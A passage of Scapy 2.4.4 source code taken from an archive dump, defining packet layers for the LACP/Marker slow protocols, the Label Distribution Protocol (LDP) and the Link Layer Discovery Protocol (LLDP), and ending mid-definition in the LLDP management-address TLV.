'Unused': 0, 'LACP': 1, 'Marker Protocol': 2, } class SlowProtocol(Packet): name = "SlowProtocol" fields_desc = [ByteEnumField("subtype", 0, SLOW_SUB_TYPES)] bind_layers(Ether, SlowProtocol, type=0x8809, dst='01:80:c2:00:00:02') class LACP(Packet): name = "LACP" deprecated_fields = { "actor_port_numer": ("actor_port_number", "2.4.4"), "partner_port_numer": ("partner_port_number", "2.4.4"), "colletctor_reserved": ("collector_reserved", "2.4.4"), } fields_desc = [ ByteField("version", 1), ByteField("actor_type", 1), ByteField("actor_length", 20), ShortField("actor_system_priority", 0), MACField("actor_system", None), ShortField("actor_key", 0), ShortField("actor_port_priority", 0), ShortField("actor_port_number", 0), ByteField("actor_state", 0), XStrFixedLenField("actor_reserved", "", 3), ByteField("partner_type", 2), ByteField("partner_length", 20), ShortField("partner_system_priority", 0), MACField("partner_system", None), ShortField("partner_key", 0), ShortField("partner_port_priority", 0), ShortField("partner_port_number", 0), ByteField("partner_state", 0), XStrFixedLenField("partner_reserved", "", 3), ByteField("collector_type", 3), ByteField("collector_length", 16), ShortField("collector_max_delay", 0), XStrFixedLenField("collector_reserved", "", 12), ByteField("terminator_type", 0), ByteField("terminator_length", 0), XStrFixedLenField("reserved", "", 50), ] bind_layers(SlowProtocol, LACP, subtype=1) MARKER_TYPES = { 'Marker Request': 1, 'Marker Response': 2, } class MarkerProtocol(Packet): name = "MarkerProtocol" fields_desc = [ ByteField("version", 1), ByteEnumField("marker_type", 1, MARKER_TYPES), ByteField("marker_length", 16), ShortField("requester_port", 0), MACField("requester_system", None), IntField("requester_transaction_id", 0), XStrFixedLenField("marker_reserved", "", 2), ByteField("terminator_type", 0), ByteField("terminator_length", 0), XStrFixedLenField("reserved", 0, 90), ] bind_layers(SlowProtocol, MarkerProtocol, subtype=2) scapy-2.4.4/scapy/contrib/ldp.py000066400000000000000000000301011372370053500165500ustar00rootroot00000000000000# scapy.contrib.description = Label Distribution Protocol (LDP) # scapy.contrib.status = loads # http://git.savannah.gnu.org/cgit/ldpscapy.git/snapshot/ldpscapy-5285b81d6e628043df2a83301b292f24a95f0ba1.tar.gz # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program. If not, see . # Copyright (C) 2010 Florian Duraffourg from __future__ import absolute_import import struct from scapy.compat import orb from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import BitField, IPField, IntField, ShortField, StrField, \ XBitField from scapy.layers.inet import UDP from scapy.layers.inet import TCP from scapy.modules.six.moves import range from scapy.config import conf from scapy.utils import inet_aton, inet_ntoa class _LDP_Packet(Packet): # Guess payload def guess_payload_class(self, p): LDPTypes = { 0x0001: LDPNotification, 0x0100: LDPHello, 0x0200: LDPInit, 0x0201: LDPKeepAlive, 0x0300: LDPAddress, 0x0301: LDPAddressWM, 0x0400: LDPLabelMM, 0x0401: LDPLabelReqM, 0x0404: LDPLabelARM, 0x0402: LDPLabelWM, 0x0403: LDPLabelRelM, } type = struct.unpack("!H", p[0:2])[0] type = type & 0x7fff if type == 0x0001 and struct.unpack("!H", p[2:4])[0] > 20: return LDP if type in LDPTypes: return LDPTypes[type] else: return conf.raw_layer def post_build(self, p, pay): if self.len is None: tmp_len = len(p) - 4 p = p[:2] + struct.pack("!H", tmp_len) + p[4:] return p + pay # Fields # # 3.4.1. FEC TLV class FecTLVField(StrField): islist = 1 def m2i(self, pkt, x): used = 0 x = x[4:] list = [] while x: # if x[0] == 1: # list.append('Wildcard') # else: # mask=orb(x[8*i+3]) # add=inet_ntoa(x[8*i+4:8*i+8]) mask = orb(x[3]) nbroctets = mask // 8 if mask % 8: nbroctets += 1 add = inet_ntoa(x[4:4 + nbroctets] + b"\x00" * (4 - nbroctets)) list.append((add, mask)) used += 4 + nbroctets x = x[4 + nbroctets:] return list def i2m(self, pkt, x): if not x: return b"" if isinstance(x, bytes): return x s = b"\x01\x00" tmp_len = 0 fec = b"" for o in x: fec += b"\x02\x00\x01" # mask length fec += struct.pack("!B", o[1]) # Prefix fec += inet_aton(o[0]) tmp_len += 8 s += struct.pack("!H", tmp_len) s += fec return s def size(self, s): """Get the size of this field""" tmp_len = 4 + struct.unpack("!H", s[2:4])[0] return tmp_len def getfield(self, pkt, s): tmp_len = self.size(s) return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) # 3.4.2.1. Generic Label TLV class LabelTLVField(StrField): def m2i(self, pkt, x): return struct.unpack("!I", x[4:8])[0] def i2m(self, pkt, x): if isinstance(x, bytes): return x s = b"\x02\x00\x00\x04" s += struct.pack("!I", x) return s def size(self, s): """Get the size of this field""" tmp_len = 4 + struct.unpack("!H", s[2:4])[0] return tmp_len def getfield(self, pkt, s): tmp_len = self.size(s) return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) # 3.4.3. Address List TLV class AddressTLVField(StrField): islist = 1 def m2i(self, pkt, x): nbr = struct.unpack("!H", x[2:4])[0] - 2 nbr //= 4 x = x[6:] list = [] for i in range(0, nbr): add = x[4 * i:4 * i + 4] list.append(inet_ntoa(add)) return list def i2m(self, pkt, x): if not x: return b"" if isinstance(x, bytes): return x tmp_len = 2 + len(x) * 4 s = b"\x01\x01" + struct.pack("!H", tmp_len) + b"\x00\x01" for o in x: s += inet_aton(o) return s def size(self, s): """Get the size of this field""" tmp_len = 4 + struct.unpack("!H", s[2:4])[0] return tmp_len def getfield(self, pkt, s): tmp_len = self.size(s) return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) # 3.4.6. Status TLV class StatusTLVField(StrField): islist = 1 def m2i(self, pkt, x): lst = [] statuscode = struct.unpack("!I", x[4:8])[0] lst.append((statuscode & 2**31) >> 31) lst.append((statuscode & 2**30) >> 30) lst.append(statuscode & 0x3FFFFFFF) lst.append(struct.unpack("!I", x[8:12])[0]) lst.append(struct.unpack("!H", x[12:14])[0]) return lst def i2m(self, pkt, x): if isinstance(x, bytes): return x s = b"\x03\x00" + struct.pack("!H", 10) statuscode = 0 if x[0] != 0: statuscode += 2**31 if x[1] != 0: statuscode += 2**30 statuscode += x[2] s += struct.pack("!I", statuscode) if len(x) > 3: s += struct.pack("!I", x[3]) else: s += b"\x00\x00\x00\x00" if len(x) > 4: s += struct.pack("!H", x[4]) else: s += b"\x00\x00" return s def getfield(self, pkt, s): tmp_len = 14 return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) # 3.5.2 Common Hello Parameters TLV class CommonHelloTLVField(StrField): islist = 1 def m2i(self, pkt, x): list = [] v = struct.unpack("!H", x[4:6])[0] list.append(v) flags = orb(x[6]) v = (flags & 0x80) >> 7 list.append(v) v = (flags & 0x40) >> 6 list.append(v) return list def i2m(self, pkt, x): if isinstance(x, bytes): return x s = b"\x04\x00\x00\x04" s += struct.pack("!H", x[0]) byte = 0 if x[1] == 1: byte += 0x80 if x[2] == 1: byte += 0x40 s += struct.pack("!B", byte) s += b"\x00" return s def getfield(self, pkt, s): tmp_len = 8 return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) # 3.5.3 Common Session Parameters TLV class CommonSessionTLVField(StrField): islist = 1 def m2i(self, pkt, x): lst = [struct.unpack("!H", x[6:8])[0]] octet = struct.unpack("B", x[8:9])[0] lst.append((octet & 2**7) >> 7) lst.append((octet & 2**6) >> 6) lst.append(struct.unpack("B", x[9:10])[0]) lst.append(struct.unpack("!H", x[10:12])[0]) lst.append(inet_ntoa(x[12:16])) lst.append(struct.unpack("!H", x[16:18])[0]) return lst def i2m(self, pkt, x): if isinstance(x, bytes): return x s = b"\x05\x00\x00\x0E\x00\x01" s += struct.pack("!H", x[0]) octet = 0 if x[1] != 0: octet += 2**7 if x[2] != 0: octet += 2**6 s += struct.pack("!B", octet) s += struct.pack("!B", x[3]) s += struct.pack("!H", x[4]) s += inet_aton(x[5]) s += struct.pack("!H", x[6]) return s def getfield(self, pkt, s): tmp_len = 18 return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) # Messages # # 3.5.1. Notification Message class LDPNotification(_LDP_Packet): name = "LDPNotification" fields_desc = [BitField("u", 0, 1), BitField("type", 0x0001, 15), ShortField("len", None), IntField("id", 0), StatusTLVField("status", (0, 0, 0, 0, 0))] # 3.5.2. Hello Message class LDPHello(_LDP_Packet): name = "LDPHello" fields_desc = [BitField("u", 0, 1), BitField("type", 0x0100, 15), ShortField("len", None), IntField("id", 0), CommonHelloTLVField("params", [180, 0, 0])] # 3.5.3. Initialization Message class LDPInit(_LDP_Packet): name = "LDPInit" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0200, 15), ShortField("len", None), IntField("id", 0), CommonSessionTLVField("params", None)] # 3.5.4. KeepAlive Message class LDPKeepAlive(_LDP_Packet): name = "LDPKeepAlive" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0201, 15), ShortField("len", None), IntField("id", 0)] # 3.5.5. Address Message class LDPAddress(_LDP_Packet): name = "LDPAddress" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0300, 15), ShortField("len", None), IntField("id", 0), AddressTLVField("address", None)] # 3.5.6. Address Withdraw Message class LDPAddressWM(_LDP_Packet): name = "LDPAddressWM" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0301, 15), ShortField("len", None), IntField("id", 0), AddressTLVField("address", None)] # 3.5.7. Label Mapping Message class LDPLabelMM(_LDP_Packet): name = "LDPLabelMM" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0400, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec", None), LabelTLVField("label", 0)] # 3.5.8. Label Request Message class LDPLabelReqM(_LDP_Packet): name = "LDPLabelReqM" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0401, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec", None)] # 3.5.9. Label Abort Request Message class LDPLabelARM(_LDP_Packet): name = "LDPLabelARM" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0404, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec", None), IntField("labelRMid", 0)] # 3.5.10. Label Withdraw Message class LDPLabelWM(_LDP_Packet): name = "LDPLabelWM" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0402, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec", None), LabelTLVField("label", 0)] # 3.5.11. Label Release Message class LDPLabelRelM(_LDP_Packet): name = "LDPLabelRelM" fields_desc = [BitField("u", 0, 1), XBitField("type", 0x0403, 15), ShortField("len", None), IntField("id", 0), FecTLVField("fec", None), LabelTLVField("label", 0)] # 3.1. LDP PDUs class LDP(_LDP_Packet): name = "LDP" fields_desc = [ShortField("version", 1), ShortField("len", None), IPField("id", "127.0.0.1"), ShortField("space", 0)] def post_build(self, p, pay): pay = pay or b"" if self.len is None: tmp_len = len(p) + len(pay) - 4 p = p[:2] + struct.pack("!H", tmp_len) + p[4:] return p + pay bind_bottom_up(TCP, LDP, sport=646) bind_bottom_up(TCP, LDP, dport=646) bind_bottom_up(TCP, UDP, sport=646) bind_bottom_up(TCP, UDP, dport=646) bind_layers(TCP, LDP, sport=646, dport=646) bind_layers(UDP, LDP, sport=646, dport=646) scapy-2.4.4/scapy/contrib/lldp.py000066400000000000000000000602111372370053500167310ustar00rootroot00000000000000# scapy.contrib.description = Link Layer Discovery Protocol (LLDP) # scapy.contrib.status = loads """ LLDP - Link Layer Discovery Protocol ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :author: Thomas Tannhaeuser, hecke@naberius.de :license: GPLv2 This module is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This module is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. :description: This module provides Scapy layers for the LLDP protocol. normative references: - IEEE 802.1AB 2016 - LLDP protocol, topology and MIB description :TODO: - | organization specific TLV e.g. ProfiNet | (see LLDPDUGenericOrganisationSpecific for a starting point) - Ignore everything after EndofLLDPDUTLV :NOTES: - you can find the layer configuration options at the end of this file - default configuration enforces standard conform: * | frame structure | (ChassisIDTLV/PortIDTLV/TimeToLiveTLV/...) * multiplicity of TLVs (if given by the standard) * min sizes of strings used by the TLVs - conf.contribs['LLDP'].strict_mode_disable() -> disable strict mode """ from scapy.config import conf from scapy.error import Scapy_Exception from scapy.layers.l2 import Ether, Dot1Q from scapy.fields import MACField, IPField, BitField, \ StrLenField, ByteEnumField, BitEnumField, \ EnumField, ThreeBytesField, BitFieldLenField, \ ShortField, XStrLenField, ByteField, ConditionalField, \ MultipleTypeField from scapy.packet import Packet, bind_layers from scapy.modules.six.moves import range from scapy.data import ETHER_TYPES from scapy.compat import orb LLDP_NEAREST_BRIDGE_MAC = '01:80:c2:00:00:0e' LLDP_NEAREST_NON_TPMR_BRIDGE_MAC = '01:80:c2:00:00:03' LLDP_NEAREST_CUSTOMER_BRIDGE_MAC = '01:80:c2:00:00:00' LLDP_ETHER_TYPE = 0x88cc ETHER_TYPES[LLDP_ETHER_TYPE] = 'LLDP' class LLDPInvalidFrameStructure(Scapy_Exception): """ basic frame structure not standard conform (missing TLV, invalid order or multiplicity) """ pass class LLDPMissingLowerLayer(Scapy_Exception): """ first layer below first LLDPDU must be Ethernet or Dot1q """ pass class LLDPInvalidTLVCount(Scapy_Exception): """ invalid number of entries for a specific TLV type """ pass class LLDPInvalidLengthField(Scapy_Exception): """ invalid value of length field """ pass class LLDPDU(Packet): """ base class for all LLDP data units """ TYPES = { 0x00: 'end of LLDPDU', 0x01: 'chassis id', 0x02: 'port id', 0x03: 'time to live', 0x04: 'port description', 0x05: 'system name', 0x06: 'system description', 0x07: 'system capabilities', 0x08: 'management address', range(0x09, 0x7e): 'reserved - future standardization', 127: 'organisation specific TLV' } DOT1Q_HEADER_LEN = 4 ETHER_HEADER_LEN = 14 ETHER_FSC_LEN = 4 ETHER_FRAME_MIN_LEN = 64 LAYER_STACK = [] LAYER_MULTIPLICITIES = {} def guess_payload_class(self, payload): # type is a 7-bit bitfield spanning bits 1..7 -> div 2 try: lldpdu_tlv_type = orb(payload[0]) // 2 return LLDPDU_CLASS_TYPES.get(lldpdu_tlv_type, conf.raw_layer) except IndexError: return conf.raw_layer @staticmethod def _dot1q_headers_size(layer): """ calculate size of lower dot1q layers (if present) :param layer: the layer to start at :return: size of vlan headers, layer below lowest vlan header """ vlan_headers_size = 0 under_layer = layer while under_layer and isinstance(under_layer, Dot1Q): vlan_headers_size += LLDPDU.DOT1Q_HEADER_LEN under_layer = under_layer.underlayer return vlan_headers_size, under_layer def post_build(self, pkt, pay): under_layer = self.underlayer if under_layer is None: if conf.contribs['LLDP'].strict_mode(): raise LLDPMissingLowerLayer('No lower layer (Ethernet ' 'or Dot1Q) provided.') else: return pkt + pay if isinstance(under_layer, LLDPDU): return pkt + pay frame_size, under_layer = LLDPDU._dot1q_headers_size(under_layer) if not under_layer or not isinstance(under_layer, Ether): if conf.contribs['LLDP'].strict_mode(): raise LLDPMissingLowerLayer('No Ethernet layer provided.') else: return pkt + pay frame_size += LLDPDU.ETHER_HEADER_LEN frame_size += len(pkt) + len(pay) + LLDPDU.ETHER_FSC_LEN if frame_size < LLDPDU.ETHER_FRAME_MIN_LEN: return pkt + pay + b'\x00' * (LLDPDU.ETHER_FRAME_MIN_LEN - frame_size) # noqa: E501 return pkt + pay @staticmethod def _frame_structure_check(structure_description): """ check if the structure of the frame is conform to the basic frame structure defined by the standard :param structure_description: string-list reflecting LLDP-msg structure """ standard_frame_structure = [LLDPDUChassisID.__name__, LLDPDUPortID.__name__, LLDPDUTimeToLive.__name__, '<...>'] if len(structure_description) < 3: raise LLDPInvalidFrameStructure( 'Invalid frame structure.\ngot: {}\nexpected: ' '{}'.format(' '.join(structure_description), ' '.join(standard_frame_structure))) for idx, layer_name in enumerate(standard_frame_structure): if layer_name == '<...>': break if layer_name != structure_description[idx]: raise LLDPInvalidFrameStructure( 'Invalid frame structure.\ngot: {}\nexpected: ' '{}'.format(' '.join(structure_description), ' '.join(standard_frame_structure))) @staticmethod def _tlv_multiplicities_check(tlv_type_count): """ check if multiplicity of present TLVs conforms to the standard :param tlv_type_count: dict containing counte-per-TLV """ # * : 0..n, 1 : one and only one. standard_multiplicities = { LLDPDUEndOfLLDPDU.__name__: '*', LLDPDUChassisID.__name__: 1, LLDPDUPortID.__name__: 1, LLDPDUTimeToLive.__name__: 1, LLDPDUPortDescription: '*', LLDPDUSystemName: '*', LLDPDUSystemDescription: '*', LLDPDUSystemCapabilities: '*', LLDPDUManagementAddress: '*' } for tlv_type_name in standard_multiplicities: standard_tlv_multiplicity = \ standard_multiplicities[tlv_type_name] if standard_tlv_multiplicity == '*': continue try: if tlv_type_count[tlv_type_name] != standard_tlv_multiplicity: raise LLDPInvalidTLVCount( 'Invalid number of entries for TLV type ' '{} - expected {} entries, got ' '{}'.format(tlv_type_name, standard_tlv_multiplicity, tlv_type_count[tlv_type_name])) except KeyError: raise LLDPInvalidTLVCount('Missing TLV layer of type ' '{}.'.format(tlv_type_name)) def pre_dissect(self, s): if conf.contribs['LLDP'].strict_mode(): if self.__class__.__name__ == 'LLDPDU': LLDPDU.LAYER_STACK = [] LLDPDU.LAYER_MULTIPLICITIES = {} else: LLDPDU.LAYER_STACK.append(self.__class__.__name__) try: LLDPDU.LAYER_MULTIPLICITIES[self.__class__.__name__] += 1 except KeyError: LLDPDU.LAYER_MULTIPLICITIES[self.__class__.__name__] = 1 return s def dissection_done(self, pkt): if self.__class__.__name__ == 'LLDPDU' and \ conf.contribs['LLDP'].strict_mode(): LLDPDU._frame_structure_check(LLDPDU.LAYER_STACK) LLDPDU._tlv_multiplicities_check(LLDPDU.LAYER_MULTIPLICITIES) super(LLDPDU, self).dissection_done(pkt) def _check(self): """Overwrited by LLDPU objects""" pass def post_dissect(self, s): self._check() return super(LLDPDU, self).post_dissect(s) def do_build(self): self._check() return super(LLDPDU, self).do_build() def _ldp_id_adjustlen(pkt, x): """Return the length of the `id` field, according to its real encoded type""" f, v = pkt.getfield_and_val('id') length = f.i2len(pkt, v) + 1 if (isinstance(pkt, LLDPDUPortID) and pkt.subtype == 0x4) or \ (isinstance(pkt, LLDPDUChassisID) and pkt.subtype == 0x5): # Take the ConditionalField into account length += 1 return length class LLDPDUChassisID(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.2 / p. 26 """ LLDP_CHASSIS_ID_TLV_SUBTYPES = { 0x00: 'reserved', 0x01: 'chassis component', 0x02: 'interface alias', 0x03: 'port component', 0x04: 'MAC address', 0x05: 'network address', 0x06: 'interface name', 0x07: 'locally assigned', range(0x08, 0xff): 'reserved' } SUBTYPE_RESERVED = 0x00 SUBTYPE_CHASSIS_COMPONENT = 0x01 SUBTYPE_INTERFACE_ALIAS = 0x02 SUBTYPE_PORT_COMPONENT = 0x03 SUBTYPE_MAC_ADDRESS = 0x04 SUBTYPE_NETWORK_ADDRESS = 0x05 SUBTYPE_INTERFACE_NAME = 0x06 SUBTYPE_LOCALLY_ASSIGNED = 0x07 fields_desc = [ BitEnumField('_type', 0x01, 7, LLDPDU.TYPES), BitFieldLenField('_length', None, 9, length_of='id', adjust=lambda pkt, x: _ldp_id_adjustlen(pkt, x)), ByteEnumField('subtype', 0x00, LLDP_CHASSIS_ID_TLV_SUBTYPES), ConditionalField( ByteField('family', 0), lambda pkt: pkt.subtype == 0x05 ), MultipleTypeField([ ( MACField('id', None), lambda pkt: pkt.subtype == 0x04 ), ( IPField('id', None), lambda pkt: pkt.subtype == 0x05 ), ], StrLenField('id', '', length_from=lambda pkt: pkt._length - 1) ) ] def _check(self): """ run layer specific checks """ if conf.contribs['LLDP'].strict_mode() and not self.id: raise LLDPInvalidLengthField('id must be >= 1 characters long') class LLDPDUPortID(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.3 / p. 26 """ LLDP_PORT_ID_TLV_SUBTYPES = { 0x00: 'reserved', 0x01: 'interface alias', 0x02: 'port component', 0x03: 'MAC address', 0x04: 'network address', 0x05: 'interface name', 0x06: 'agent circuit ID', 0x07: 'locally assigned', range(0x08, 0xff): 'reserved' } SUBTYPE_RESERVED = 0x00 SUBTYPE_INTERFACE_ALIAS = 0x01 SUBTYPE_PORT_COMPONENT = 0x02 SUBTYPE_MAC_ADDRESS = 0x03 SUBTYPE_NETWORK_ADDRESS = 0x04 SUBTYPE_INTERFACE_NAME = 0x05 SUBTYPE_AGENT_CIRCUIT_ID = 0x06 SUBTYPE_LOCALLY_ASSIGNED = 0x07 fields_desc = [ BitEnumField('_type', 0x02, 7, LLDPDU.TYPES), BitFieldLenField('_length', None, 9, length_of='id', adjust=lambda pkt, x: _ldp_id_adjustlen(pkt, x)), ByteEnumField('subtype', 0x00, LLDP_PORT_ID_TLV_SUBTYPES), ConditionalField( ByteField('family', 0), lambda pkt: pkt.subtype == 0x04 ), MultipleTypeField([ ( MACField('id', None), lambda pkt: pkt.subtype == 0x03 ), ( IPField('id', None), lambda pkt: pkt.subtype == 0x04 ), ], StrLenField('id', '', length_from=lambda pkt: pkt._length - 1) ) ] def _check(self): """ run layer specific checks """ if conf.contribs['LLDP'].strict_mode() and not self.id: raise LLDPInvalidLengthField('id must be >= 1 characters long') class LLDPDUTimeToLive(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.4 / p. 29 """ fields_desc = [ BitEnumField('_type', 0x03, 7, LLDPDU.TYPES), BitField('_length', 0x02, 9), ShortField('ttl', 20) ] def _check(self): """ run layer specific checks """ if conf.contribs['LLDP'].strict_mode() and self._length != 2: raise LLDPInvalidLengthField('length must be 2 - got ' '{}'.format(self._length)) class LLDPDUEndOfLLDPDU(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.1 / p. 26 """ fields_desc = [ BitEnumField('_type', 0x00, 7, LLDPDU.TYPES), BitField('_length', 0x00, 9), ] def extract_padding(self, s): return '', s def _check(self): """ run layer specific checks """ if conf.contribs['LLDP'].strict_mode() and self._length != 0: raise LLDPInvalidLengthField('length must be 0 - got ' '{}'.format(self._length)) class LLDPDUPortDescription(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.5 / p. 29 """ fields_desc = [ BitEnumField('_type', 0x04, 7, LLDPDU.TYPES), BitFieldLenField('_length', None, 9, length_of='description'), StrLenField('description', '', length_from=lambda pkt: pkt._length) ] class LLDPDUSystemName(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.6 / p. 30 """ fields_desc = [ BitEnumField('_type', 0x05, 7, LLDPDU.TYPES), BitFieldLenField('_length', None, 9, length_of='system_name'), StrLenField('system_name', '', length_from=lambda pkt: pkt._length) ] class LLDPDUSystemDescription(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.7 / p. 31 """ fields_desc = [ BitEnumField('_type', 0x06, 7, LLDPDU.TYPES), BitFieldLenField('_length', None, 9, length_of='description'), StrLenField('description', '', length_from=lambda pkt: pkt._length) ] class LLDPDUSystemCapabilities(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.8 / p. 31 """ fields_desc = [ BitEnumField('_type', 0x07, 7, LLDPDU.TYPES), BitFieldLenField('_length', 4, 9), BitField('reserved_5_available', 0, 1), BitField('reserved_4_available', 0, 1), BitField('reserved_3_available', 0, 1), BitField('reserved_2_available', 0, 1), BitField('reserved_1_available', 0, 1), BitField('two_port_mac_relay_available', 0, 1), BitField('s_vlan_component_available', 0, 1), BitField('c_vlan_component_available', 0, 1), BitField('station_only_available', 0, 1), BitField('docsis_cable_device_available', 0, 1), BitField('telephone_available', 0, 1), BitField('router_available', 0, 1), BitField('wlan_access_point_available', 0, 1), BitField('mac_bridge_available', 0, 1), BitField('repeater_available', 0, 1), BitField('other_available', 0, 1), BitField('reserved_5_enabled', 0, 1), BitField('reserved_4_enabled', 0, 1), BitField('reserved_3_enabled', 0, 1), BitField('reserved_2_enabled', 0, 1), BitField('reserved_1_enabled', 0, 1), BitField('two_port_mac_relay_enabled', 0, 1), BitField('s_vlan_component_enabled', 0, 1), BitField('c_vlan_component_enabled', 0, 1), BitField('station_only_enabled', 0, 1), BitField('docsis_cable_device_enabled', 0, 1), BitField('telephone_enabled', 0, 1), BitField('router_enabled', 0, 1), BitField('wlan_access_point_enabled', 0, 1), BitField('mac_bridge_enabled', 0, 1), BitField('repeater_enabled', 0, 1), BitField('other_enabled', 0, 1), ] def _check(self): """ run layer specific checks """ if conf.contribs['LLDP'].strict_mode() and self._length != 4: raise LLDPInvalidLengthField('length must be 4 - got ' '{}'.format(self._length)) class LLDPDUManagementAddress(LLDPDU): """ ieee 802.1ab-2016 - sec. 8.5.9 / p. 32 currently only 0x00..0x1e are used by standards, no way to use anything > 0xff as management address subtype is only one octet wide see https://www.iana.org/assignments/address-family-numbers/address-family-numbers.xhtml # noqa: E501 """ IANA_ADDRESS_FAMILY_NUMBERS = { 0x00: 'other', 0x01: 'IPv4', 0x02: 'IPv6', 0x03: 'NSAP', 0x04: 'HDLC', 0x05: 'BBN', 0x06: '802', 0x07: 'E.163', 0x08: 'E.164', 0x09: 'F.69', 0x0a: 'X.121', 0x0b: 'IPX', 0x0c: 'Appletalk', 0x0d: 'Decnet IV', 0x0e: 'Banyan Vines', 0x0f: 'E.164 with NSAP', 0x10: 'DNS', 0x11: 'Distinguished Name', 0x12: 'AS Number', 0x13: 'XTP over IPv4', 0x14: 'XTP over IPv6', 0x15: 'XTP native mode XTP', 0x16: 'Fiber Channel World-Wide Port Name', 0x17: 'Fiber Channel World-Wide Node Name', 0x18: 'GWID', 0x19: 'AFI for L2VPN', 0x1a: 'MPLS-TP Section Endpoint ID', 0x1b: 'MPLS-TP LSP Endpoint ID', 0x1c: 'MPLS-TP Pseudowire Endpoint ID', 0x1d: 'MT IP Multi-Topology IPv4', 0x1e: 'MT IP Multi-Topology IPv6' } SUBTYPE_MANAGEMENT_ADDRESS_OTHER = 0x00 SUBTYPE_MANAGEMENT_ADDRESS_IPV4 = 0x01 SUBTYPE_MANAGEMENT_ADDRESS_IPV6 = 0x02 SUBTYPE_MANAGEMENT_ADDRESS_NSAP = 0x03 SUBTYPE_MANAGEMENT_ADDRESS_HDLC = 0x04 SUBTYPE_MANAGEMENT_ADDRESS_BBN = 0x05 SUBTYPE_MANAGEMENT_ADDRESS_802 = 0x06 SUBTYPE_MANAGEMENT_ADDRESS_E_163 = 0x07 SUBTYPE_MANAGEMENT_ADDRESS_E_164 = 0x08 SUBTYPE_MANAGEMENT_ADDRESS_F_69 = 0x09 SUBTYPE_MANAGEMENT_ADDRESS_X_121 = 0x0A SUBTYPE_MANAGEMENT_ADDRESS_IPX = 0x0B SUBTYPE_MANAGEMENT_ADDRESS_APPLETALK = 0x0C SUBTYPE_MANAGEMENT_ADDRESS_DECNET_IV = 0x0D SUBTYPE_MANAGEMENT_ADDRESS_BANYAN_VINES = 0x0E SUBTYPE_MANAGEMENT_ADDRESS_E_164_WITH_NSAP = 0x0F SUBTYPE_MANAGEMENT_ADDRESS_DNS = 0x10 SUBTYPE_MANAGEMENT_ADDRESS_DISTINGUISHED_NAME = 0x11 SUBTYPE_MANAGEMENT_ADDRESS_AS_NUMBER = 0x12 SUBTYPE_MANAGEMENT_ADDRESS_XTP_OVER_IPV4 = 0x13 SUBTYPE_MANAGEMENT_ADDRESS_XTP_OVER_IPV6 = 0x14 SUBTYPE_MANAGEMENT_ADDRESS_XTP_NATIVE_MODE_XTP = 0x15 SUBTYPE_MANAGEMENT_ADDRESS_FIBER_CHANNEL_WORLD_WIDE_PORT_NAME = 0x16 SUBTYPE_MANAGEMENT_ADDRESS_FIBER_CHANNEL_WORLD_WIDE_NODE_NAME = 0x17 SUBTYPE_MANAGEMENT_ADDRESS_GWID = 0x18 SUBTYPE_MANAGEMENT_ADDRESS_AFI_FOR_L2VPN = 0x19 SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_SECTION_ENDPOINT_ID = 0x1A SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_LSP_ENDPOINT_ID = 0x1B SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_PSEUDOWIRE_ENDPOINT_ID = 0x1C SUBTYPE_MANAGEMENT_ADDRESS_MT_IP_MULTI_TOPOLOGY_IPV4 = 0x1D SUBTYPE_MANAGEMENT_ADDRESS_MT_IP_MULTI_TOPOLOGY_IPV6 = 0x1E INTERFACE_NUMBERING_SUBTYPES = { 0x01: 'unknown', 0x02: 'ifIndex', 0x03: 'system port number' } SUBTYPE_INTERFACE_NUMBER_UNKNOWN = 0x01 SUBTYPE_INTERFACE_NUMBER_IF_INDEX = 0x02 SUBTYPE_INTERFACE_NUMBER_SYSTEM_PORT_NUMBER = 0x03 ''' Note - calculation of _length field:: _length = 1@_management_address_string_length + 1@management_address_subtype + management_address.len + 1@interface_numbering_subtype + 4@interface_number + 1@_oid_string_length + object_id.len ''' fields_desc = [ BitEnumField('_type', 0x08, 7, LLDPDU.TYPES), BitFieldLenField('_length', None, 9, length_of='management_address', adjust=lambda pkt, x: 8 + len(pkt.management_address) + len(pkt.object_id)), BitFieldLenField('_management_address_string_length', None, 8, length_of='management_address', adjust=lambda pkt, x: len(pkt.management_address) + 1), # noqa: E501 ByteEnumField('management_address_subtype', 0x00, IANA_ADDRESS_FAMILY_NUMBERS), XStrLenField('management_address', '', length_from=lambda pkt: pkt._management_address_string_length - 1), ByteEnumField('interface_numbering_subtype', 